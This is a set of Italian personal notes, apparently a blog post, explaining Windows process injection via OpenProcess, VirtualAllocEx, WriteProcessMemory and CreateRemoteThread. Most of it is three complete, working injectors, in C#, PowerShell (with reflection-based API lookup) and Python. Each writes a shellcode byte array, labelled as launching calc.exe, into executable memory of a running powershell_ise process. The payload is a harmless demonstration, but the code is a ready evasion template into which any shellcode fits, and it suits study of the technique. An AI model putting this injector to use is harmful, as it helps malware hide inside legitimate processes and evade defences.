Il post che segue è una collezione di appunti personali e non ha la pretesa di essere un tutorial.
Process injection è una tecnica di evasion molto diffusa che comporta l’esecuzione di codice custom all’interno della memoria di un altro processo. Questa tecnica è utilizzata per migliorare la furtività ed eventualmente ottenere la persistenza.
Un processo è un contenitore creato per eseguire un’applicazione, questo può essere costituito da vari thread per compiere diverse azioni simultaneamente.
Una tecnica per il process injection in Windows consiste nell’utilizzare le seguenti Win32Api:
- OpenProcess
- VirtualAllocEx
- WriteProcessMemory
- CreateRemoteThread
OpenProcess
Consente l’interazione con un processo esistente e per essere utilizzata necessita di tre parametri.
- dwDesiredAccess: diritti di accesso al processo
- bInheritHandle: determina se l’handle restituito viene ereditato dal nuovo processo
- dwProcessId: process Id del processo con cui si vuole interagire
dwDesiredAccess è il parametro che stabilisce i diritti di accesso richiesti per un determinato processo. Per poter utilizzare OpenProcess occorre che si abbiano i permessi corretti per interagire con un determinato processo.
Ogni processo infatti ha un security descriptor che limita gli accessi al processo stesso. In questo caso si parla di Integrity, generalmente non è possibile interagire con processi che hanno una integrity più elevata ma è possibile farlo con processi che condividono la stessa integrity o più bassa.
Si parla di High Integrity quando un processo è eseguito con diritti di amministratore.
Se apro powershell normalmente, possibile esaminare le impostazioni di sicurezza tramite Process Explorer:

Il processo ha un livello di integrità medio. Se vado a vedere i permessi per il mio utente vedo che ho la possibilità di leggere e scrivere sul processo, questo mi consente di utilizzare OpenProcess.

Se invece avvio powershell come Amministratore troverò gli stessi permessi in lettura e scrittura ma sarà il processo avrà un livello di integrità alto.

In questo caso OpenProcess non funzionerà se verrà eseguito in un programma con un livello di integrità inferiore.
VirtualAllocEx
Questa funzione alloca uno spazio di memoria in cui è possibile andare ad iniettare lo shellcode. Differisce da VirtualAlloc perché quest’ultima alloca una porzione di memoria nel processo corrente. Per allocare la memoria in un processo esterno si usa VirtualAllocEx.
WriteProcessMemory
Consente di copiare i dati nel processo esterno. Non è possibile usare RtlMoveMemory perché questa copia i dati solo all’interno del processo corrente e non di uno esterno.
CreateRemoteThread
Anche in questo caso non è possibile utilizzare CreateThread per creare un thread nel processo esterno, perciò ci viene in soccorso CreateRemoteThread.
Process injection C#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ProcessInjection
{
class Program
{
// Pinvoke.net - necessario per interagire con Win32Api
// Pinvoke OpenProcess
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// Pinvoke VirtualAllocEx
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Pinvoke WriteProcessMemory
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
// Pinvoke CreateRemoteThread
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static void Main(string[] args)
{
// Usare powershell ise 32 bit.
// Prelevo lista pid di powershell_ise
Process[] powershellList = Process.GetProcessesByName("powershell_ise");
// Prendo il primo powershell_ise in lista
int pid = powershellList[0].Id;
// Avvio l'interazione con il processo
// 0x001F0FFF è il security descriptor che rappresenta PROCESS_ALL_ACCESS
// non ci interessa bInheritHandle quindi si imposta su false
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
// Alloca la memoria sul processo esterno
// necessita della handle di processo per poter interagire
// Il secondo parametro rappresenta l'indirizzo da cui avviare l'allocazione di memoria
// IntPtr.Zero è un valore nullo, così l'API sceglie un indirizzo libero in autonomia. Si evita di creare conflitti.
// 0x1000 specifica la dimensione dell'allocazione di memoria
// 0x3000 rappresenta MEM_COMMIT and MEM_RESERVE. Con questo valore il sistema alloca la memoria e la rende disponibile.
// 0x40 Significa che la porzione di memoria sara leggibile, scrivibile ed eseguibile
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Shellcode calc.exe
byte[] buf = new byte[220] {
0xda,0xca,0xd9,0x74,0x24,0xf4,0xbb,0x50,0x85,0x23,0xbf,0x5a,0x29,0xc9,0xb1,
0x31,0x83,0xea,0xfc,0x31,0x5a,0x14,0x03,0x5a,0x44,0x67,0xd6,0x43,0x8c,0xe5,
0x19,0xbc,0x4c,0x8a,0x90,0x59,0x7d,0x8a,0xc7,0x2a,0x2d,0x3a,0x83,0x7f,0xc1,
0xb1,0xc1,0x6b,0x52,0xb7,0xcd,0x9c,0xd3,0x72,0x28,0x92,0xe4,0x2f,0x08,0xb5,
0x66,0x32,0x5d,0x15,0x57,0xfd,0x90,0x54,0x90,0xe0,0x59,0x04,0x49,0x6e,0xcf,
0xb9,0xfe,0x3a,0xcc,0x32,0x4c,0xaa,0x54,0xa6,0x04,0xcd,0x75,0x79,0x1f,0x94,
0x55,0x7b,0xcc,0xac,0xdf,0x63,0x11,0x88,0x96,0x18,0xe1,0x66,0x29,0xc9,0x38,
0x86,0x86,0x34,0xf5,0x75,0xd6,0x71,0x31,0x66,0xad,0x8b,0x42,0x1b,0xb6,0x4f,
0x39,0xc7,0x33,0x54,0x99,0x8c,0xe4,0xb0,0x18,0x40,0x72,0x32,0x16,0x2d,0xf0,
0x1c,0x3a,0xb0,0xd5,0x16,0x46,0x39,0xd8,0xf8,0xcf,0x79,0xff,0xdc,0x94,0xda,
0x9e,0x45,0x70,0x8c,0x9f,0x96,0xdb,0x71,0x3a,0xdc,0xf1,0x66,0x37,0xbf,0x9f,
0x79,0xc5,0xc5,0xed,0x7a,0xd5,0xc5,0x41,0x13,0xe4,0x4e,0x0e,0x64,0xf9,0x84,
0x6b,0x8a,0x1b,0x0d,0x81,0x23,0x82,0xc4,0x28,0x2e,0x35,0x33,0x6e,0x57,0xb6,
0xb6,0x0e,0xac,0xa6,0xb2,0x0b,0xe8,0x60,0x2e,0x61,0x61,0x05,0x50,0xd6,0x82,
0x0c,0x33,0xb9,0x10,0xcc,0x9a,0x5c,0x91,0x77,0xe3 };
IntPtr outSize;
// Scrive lo shellcode nella memoria allocata
// Utilizza la handle per interagire col processo
// Addr contiene il base address della memoria allocata
// buff è lo shellcode
// buff.Length la lunghezza dello shellcode
// outSize serve per far si che il tipo di argomenti della funzione siano allineati con quelli della function prototype
// la keyword out fa si che il parametro sia passato come reference type
// un reference type è un riferimento ai dati archiviati in memoria (heap)
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Process injection Powershell
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {
If($_.Name -eq "GetProcAddress") {
$tmp+=$_
}
}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName))
}
function CustomDelegateType {
Param ([Type[]] $params, [Type] $retval = [Void])
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,[System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $params)
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual', $retval, $params)
$MyMethodBuilder.SetImplementationFlags('Runtime, Managed')
$MyDelegateType = $MyTypeBuilder.CreateType()
return $MyDelegateType
}
$FindOpenProcess = LookupFunc kernel32.dll OpenProcess
$FindVirtualAllocEx = LookupFunc kernel32.dll VirtualAllocEx
$FindWriteProcessMemory = LookupFunc kernel32.dll WriteProcessMemory
$FindCreateRemoteThread = LookupFunc kernel32.dll CreateRemoteThread
$OpenProcessDelegateType = CustomDelegateType @([int], [Bool], [int]) IntPtr
$VirtualAllocExDelegateType = CustomDelegateType @([IntPtr], [IntPtr], [int], [int], [int]) IntPtr
$WriteProcessMemoryDelegateType = CustomDelegateType @([IntPtr], [IntPtr], [Byte[]], [Int32], [IntPtr]) Bool
$CreateRemoteThreadDelegateType = CustomDelegateType @([IntPtr], [IntPtr], [int], [IntPtr], [IntPtr], [int], [IntPtr]) IntPtr
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FindOpenProcess, $OpenProcessDelegateType)
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FindVirtualAllocEx, $VirtualAllocExDelegateType)
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FindWriteProcessMemory, $WriteProcessMemoryDelegateType)
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FindCreateRemoteThread, $CreateRemoteThreadDelegateType)
# Calc.exe
[Byte[]] $buf = 0xda,0xd7,0xbb,0xf5,0x66,0x4e,0x60,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,0x31,0x31,0x5a,0x18,0x3,0x5a,0x18,0x83,0xc2,0xf1,0x84,0xbb,0x9c,0x11,0xca,0x44,0x5d,0xe1,0xab,0xcd,0xb8,0xd0,0xeb,0xaa,0xc9,0x42,0xdc,0xb9,0x9c,0x6e,0x97,0xec,0x34,0xe5,0xd5,0x38,0x3a,0x4e,0x53,0x1f,0x75,0x4f,0xc8,0x63,0x14,0xd3,0x13,0xb0,0xf6,0xea,0xdb,0xc5,0xf7,0x2b,0x1,0x27,0xa5,0xe4,0x4d,0x9a,0x5a,0x81,0x18,0x27,0xd0,0xd9,0x8d,0x2f,0x5,0xa9,0xac,0x1e,0x98,0xa2,0xf6,0x80,0x1a,0x67,0x83,0x88,0x4,0x64,0xae,0x43,0xbe,0x5e,0x44,0x52,0x16,0xaf,0xa5,0xf9,0x57,0x0,0x54,0x3,0x9f,0xa6,0x87,0x76,0xe9,0xd5,0x3a,0x81,0x2e,0xa4,0xe0,0x4,0xb5,0xe,0x62,0xbe,0x11,0xaf,0xa7,0x59,0xd1,0xa3,0xc,0x2d,0xbd,0xa7,0x93,0xe2,0xb5,0xd3,0x18,0x5,0x1a,0x52,0x5a,0x22,0xbe,0x3f,0x38,0x4b,0xe7,0xe5,0xef,0x74,0xf7,0x46,0x4f,0xd1,0x73,0x6a,0x84,0x68,0xde,0xe0,0x5b,0xfe,0x64,0x46,0x5b,0x0,0x67,0xf6,0x34,0x31,0xec,0x99,0x43,0xce,0x27,0xde,0xac,0x2c,0xe2,0x2a,0x45,0xe9,0x67,0x97,0x8,0xa,0x52,0xdb,0x34,0x89,0x57,0xa3,0xc2,0x91,0x1d,0xa6,0x8f,0x15,0xcd,0xda,0x80,0xf3,0xf1,0x49,0xa0,0xd1,0x91,0xc,0x32,0xb9,0x7b,0xab,0xb2,0x58,0x84
[int] $pidde = Get-Process -Name powershell_ise | Select -ExpandProperty "Id"
$hProcess = $OpenProcess.Invoke(0x001F0FFF, 0, $pidde)
$addr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[IntPtr] $outSize = 0
$WriteProcessMemory.Invoke($hProcess, $addr, $buf, $buf.Length, $outSize)
$CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [IntPtr]::Zero)
Process injection Python
from ctypes import WinDLL, c_ulong, wintypes, c_int
import psutil
kernel32 = WinDLL('kernel32.dll')
kernel32.OpenProcess.restype = wintypes.HANDLE
kernel32.VirtualAllocEx.restype = wintypes.LPVOID
kernel32.WriteProcessMemory.restype = wintypes.BOOL
kernel32.CreateRemoteThread.restype = wintypes.HANDLE
kernel32.OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
kernel32.VirtualAllocEx.argtypes = [wintypes.HANDLE, wintypes.LPVOID, c_int, wintypes.DWORD, wintypes.DWORD]
kernel32.WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, c_int, c_int]
kernel32.CreateRemoteThread.argtypes = [wintypes.HANDLE, wintypes.INT, c_int, wintypes.INT, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD]
def get_pid(prc):
for proc in psutil.process_iter():
if prc in proc.name():
return proc.pid
return 0
pid = get_pid("powershell_ise")
hProcess = kernel32.OpenProcess(0x001F0FFF, False, pid)
addr = kernel32.VirtualAllocEx(hProcess, 0, 0x1000, 0x3000, 0x40)
# Calc.exe
buf = b""
buf += b"\xbe\x3d\x1e\x5b\xee\xdd\xc6\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x31\x83\xef\xfc\x31\x77\x0f\x03\x77\x32\xfc"
buf += b"\xae\x12\xa4\x82\x51\xeb\x34\xe3\xd8\x0e\x05\x23\xbe"
buf += b"\x5b\x35\x93\xb4\x0e\xb9\x58\x98\xba\x4a\x2c\x35\xcc"
buf += b"\xfb\x9b\x63\xe3\xfc\xb0\x50\x62\x7e\xcb\x84\x44\xbf"
buf += b"\x04\xd9\x85\xf8\x79\x10\xd7\x51\xf5\x87\xc8\xd6\x43"
buf += b"\x14\x62\xa4\x42\x1c\x97\x7c\x64\x0d\x06\xf7\x3f\x8d"
buf += b"\xa8\xd4\x4b\x84\xb2\x39\x71\x5e\x48\x89\x0d\x61\x98"
buf += b"\xc0\xee\xce\xe5\xed\x1c\x0e\x21\xc9\xfe\x65\x5b\x2a"
buf += b"\x82\x7d\x98\x51\x58\x0b\x3b\xf1\x2b\xab\xe7\x00\xff"
buf += b"\x2a\x63\x0e\xb4\x39\x2b\x12\x4b\xed\x47\x2e\xc0\x10"
buf += b"\x88\xa7\x92\x36\x0c\xec\x41\x56\x15\x48\x27\x67\x45"
buf += b"\x33\x98\xcd\x0d\xd9\xcd\x7f\x4c\xb7\x10\x0d\xea\xf5"
buf += b"\x13\x0d\xf5\xa9\x7b\x3c\x7e\x26\xfb\xc1\x55\x03\xe3"
buf += b"\x23\x7c\x79\x8c\xfd\x15\xc0\xd1\xfd\xc3\x06\xec\x7d"
buf += b"\xe6\xf6\x0b\x9d\x83\xf3\x50\x19\x7f\x89\xc9\xcc\x7f"
buf += b"\x3e\xe9\xc4\xe3\xa1\x79\x84\xcd\x44\xfa\x2f\x12"
outSize = 0
kernel32.WriteProcessMemory(hProcess, addr, buf, len(buf), outSize)
kernel32.CreateRemoteThread(hProcess, 0, 0, addr, 0, 0, c_ulong(0))